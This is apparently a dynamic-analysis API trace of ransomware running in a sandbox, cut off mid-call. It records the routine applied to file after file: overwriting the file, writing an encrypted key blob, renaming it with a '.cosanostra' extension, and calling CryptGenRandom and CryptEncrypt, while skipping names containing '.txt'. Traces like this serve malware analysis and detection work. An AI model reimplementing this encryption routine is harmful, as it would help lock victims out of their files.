1 [0090.417] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.417] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Videos\\desktop.ini") returned 38 [0090.417] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.418] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.418] WriteFile (in: hFile=0x154, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x17c, lpNumberOfBytesWritten=0x28df704, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df704*=0x17c, lpOverlapped=0x0) returned 1 [0090.418] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.418] WriteFile (in: hFile=0x154, lpBuffer=0x28df744*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df704, lpOverlapped=0x0 | out: lpBuffer=0x28df744*, lpNumberOfBytesWritten=0x28df704*=0x4, lpOverlapped=0x0) returned 1 [0090.418] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df704, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df704*=0x30, lpOverlapped=0x0) returned 1 [0090.418] CloseHandle (hObject=0x154) returned 1 [0090.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Videos\\desktop.ini.cosanostra" (normalized: "c:\\users\\public\\videos\\desktop.ini.cosanostra")) returned 1 [0090.419] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df748 | out: pbBuffer=0x28df748) returned 1 [0090.419] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df740*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df740*=0x30) returned 1 [0090.419] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\.." (normalized: "c:\\users\\public"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.419] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df740 | out: pbBuffer=0x28df740) returned 1 [0090.419] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df738*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df738*=0x30) returned 1 [0090.419] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\." (normalized: "c:\\users\\public\\videos\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.617] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df738 | out: pbBuffer=0x28df738) returned 1 [0090.617] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df730*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df730*=0x30) returned 1 [0090.617] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.646] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg") returned 55 [0090.646] StrStrW (lpFirst="Desert.jpg", lpSrch=".txt") returned 0x0 [0090.647] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.647] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df6f4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6f4*=0x2800, lpOverlapped=0x0) returned 1 [0090.647] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.647] WriteFile (in: hFile=0x154, lpBuffer=0x28df734*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6f4, lpOverlapped=0x0 | out: lpBuffer=0x28df734*, lpNumberOfBytesWritten=0x28df6f4*=0x4, lpOverlapped=0x0) returned 1 [0090.648] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6f4*=0x30, lpOverlapped=0x0) returned 1 [0090.648] CloseHandle (hObject=0x154) returned 1 [0090.648] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.cosanostra" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.cosanostra")) returned 1 [0090.649] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df730 | out: pbBuffer=0x28df730) returned 1 [0090.649] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df728*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df728*=0x30) returned 1 [0090.649] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.741] lstrlenW (lpString="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned 51 [0090.741] StrStrW (lpFirst="RecordedTV.library-ms", lpSrch=".txt") returned 0x0 [0090.743] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffc94, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.743] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x36c, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6ec*=0x36c, lpOverlapped=0x0) returned 1 [0090.743] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.743] WriteFile (in: hFile=0x154, lpBuffer=0x28df72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x28df72c*, lpNumberOfBytesWritten=0x28df6ec*=0x4, lpOverlapped=0x0) returned 1 [0090.743] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6ec*=0x30, lpOverlapped=0x0) returned 1 [0090.743] CloseHandle (hObject=0x154) returned 1 [0090.743] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.cosanostra" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.cosanostra")) returned 1 [0090.744] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df730 | out: pbBuffer=0x28df730) returned 1 [0090.744] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df728*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df728*=0x30) returned 1 [0090.745] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.745] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 76 [0090.745] StrStrW (lpFirst="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpSrch=".txt") returned 0x0 [0090.776] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.776] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6ec*=0x2800, lpOverlapped=0x0) returned 1 [0090.776] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.776] WriteFile (in: hFile=0x154, lpBuffer=0x28df72c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x28df72c*, lpNumberOfBytesWritten=0x28df6ec*=0x4, lpOverlapped=0x0) returned 1 [0090.777] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6ec*=0x30, lpOverlapped=0x0) returned 1 [0090.777] CloseHandle (hObject=0x154) returned 1 [0090.777] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), lpNewFileName="\\\\?\\C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf.cosanostra" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf.cosanostra")) returned 1 [0090.779] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df728 | out: pbBuffer=0x28df728) returned 1 [0090.779] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df720*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df720*=0x30) returned 1 [0090.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.780] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini") returned 38 [0090.780] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0090.781] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.781] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1f8, lpNumberOfBytesWritten=0x28df6e4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6e4*=0x1f8, lpOverlapped=0x0) returned 1 [0090.781] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.782] WriteFile (in: hFile=0x154, lpBuffer=0x28df724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6e4, lpOverlapped=0x0 | out: lpBuffer=0x28df724*, lpNumberOfBytesWritten=0x28df6e4*=0x4, lpOverlapped=0x0) returned 1 [0090.782] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6e4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6e4*=0x30, lpOverlapped=0x0) returned 1 [0090.782] CloseHandle (hObject=0x154) returned 1 [0090.782] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Music\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\music\\desktop.ini.cosanostra")) returned 1 [0090.783] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df720 | out: pbBuffer=0x28df720) returned 1 [0090.783] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df718*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df718*=0x30) returned 1 [0090.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\.." (normalized: "c:\\users\\default"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.783] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df720 | out: pbBuffer=0x28df720) returned 1 [0090.783] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df718*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df718*=0x30) returned 1 [0090.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Music\\." (normalized: "c:\\users\\default\\music\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.785] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df718 | out: pbBuffer=0x28df718) returned 1 [0090.785] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df710*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df710*=0x30) returned 1 [0090.785] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.786] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk") returned 43 [0090.786] StrStrW (lpFirst="RecentPlaces.lnk", lpSrch=".txt") returned 0x0 [0090.786] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffe95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.786] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x28df6d4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6d4*=0x16b, lpOverlapped=0x0) returned 1 [0090.787] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.787] WriteFile (in: hFile=0x154, lpBuffer=0x28df714*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6d4, lpOverlapped=0x0 | out: lpBuffer=0x28df714*, lpNumberOfBytesWritten=0x28df6d4*=0x4, lpOverlapped=0x0) returned 1 [0090.787] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6d4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6d4*=0x30, lpOverlapped=0x0) returned 1 [0090.787] CloseHandle (hObject=0x154) returned 1 [0090.787] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Links\\RecentPlaces.lnk.cosanostra" (normalized: "c:\\users\\default\\links\\recentplaces.lnk.cosanostra")) returned 1 [0090.788] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df710 | out: pbBuffer=0x28df710) returned 1 [0090.788] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df708*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df708*=0x30) returned 1 [0090.788] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0090.788] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk") returned 40 [0090.788] StrStrW (lpFirst="Downloads.lnk", lpSrch=".txt") returned 0x0 [0090.878] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffc82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.878] WriteFile (in: hFile=0x154, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6cc*=0x37e, lpOverlapped=0x0) returned 1 [0090.878] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.878] WriteFile (in: hFile=0x154, lpBuffer=0x28df70c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x28df70c*, lpNumberOfBytesWritten=0x28df6cc*=0x4, lpOverlapped=0x0) returned 1 [0090.878] WriteFile (in: hFile=0x154, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6cc*=0x30, lpOverlapped=0x0) returned 1 [0090.878] CloseHandle (hObject=0x154) returned 1 [0090.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Links\\Downloads.lnk.cosanostra" (normalized: "c:\\users\\default\\links\\downloads.lnk.cosanostra")) returned 1 [0090.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df710 | out: pbBuffer=0x28df710) returned 1 [0090.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df708*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df708*=0x30) returned 1 [0090.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0091.032] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url") returned 51 [0091.032] StrStrW (lpFirst="MSN.url", lpSrch=".txt") returned 0x0 [0091.032] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.033] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6cc*=0x85, lpOverlapped=0x0) returned 1 [0091.033] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.033] WriteFile (in: hFile=0x180, lpBuffer=0x28df70c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x28df70c*, lpNumberOfBytesWritten=0x28df6cc*=0x4, lpOverlapped=0x0) returned 1 [0091.033] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6cc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6cc*=0x30, lpOverlapped=0x0) returned 1 [0091.033] CloseHandle (hObject=0x180) returned 1 [0091.033] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.cosanostra" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.cosanostra")) returned 1 [0091.034] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df708 | out: pbBuffer=0x28df708) returned 1 [0091.034] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df700*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df700*=0x30) returned 1 [0091.034] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\." (normalized: "c:\\users\\default\\favorites\\links\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.089] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df708 | out: pbBuffer=0x28df708) returned 1 [0091.089] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df700*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df700*=0x30) returned 1 [0091.089] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.685] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact") returned 51 [0091.685] StrStrW (lpFirst="Administrator.contact", lpSrch=".txt") returned 0x0 [0091.782] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.782] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df6c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6c4*=0x2800, lpOverlapped=0x0) returned 1 [0091.783] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.783] WriteFile (in: hFile=0x138, lpBuffer=0x28df704*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6c4, lpOverlapped=0x0 | out: lpBuffer=0x28df704*, lpNumberOfBytesWritten=0x28df6c4*=0x4, lpOverlapped=0x0) returned 1 [0091.784] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df6c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df6c4*=0x30, lpOverlapped=0x0) returned 1 [0091.784] CloseHandle (hObject=0x138) returned 1 [0091.784] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact.cosanostra") returned 62 [0091.784] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact" (normalized: "c:\\users\\default\\contacts\\administrator.contact"), lpNewFileName="\\\\?\\C:\\Users\\Default\\Contacts\\Administrator.contact.cosanostra" (normalized: "c:\\users\\default\\contacts\\administrator.contact.cosanostra")) returned 1 [0091.787] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df6f8 | out: pbBuffer=0x28df6f8) returned 1 [0091.787] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df6f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df6f0*=0x30) returned 1 [0091.787] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0091.788] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 97 [0091.788] StrStrW (lpFirst="Window Switcher.lnk", lpSrch=".txt") returned 0x0 [0091.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffef0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0091.789] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x28df6b4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df6b4*=0x110, lpOverlapped=0x0) returned 1 [0091.789] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.789] WriteFile (in: hFile=0x138, lpBuffer=0x28df6f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df6b4, lpOverlapped=0x0 | out: lpBuffer=0x28df6f4*, lpNumberOfBytesWritten=0x28df6b4*=0x4, lpOverlapped=0x0) returned 1 [0091.789] WriteFile (in: hFile=0x138, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, 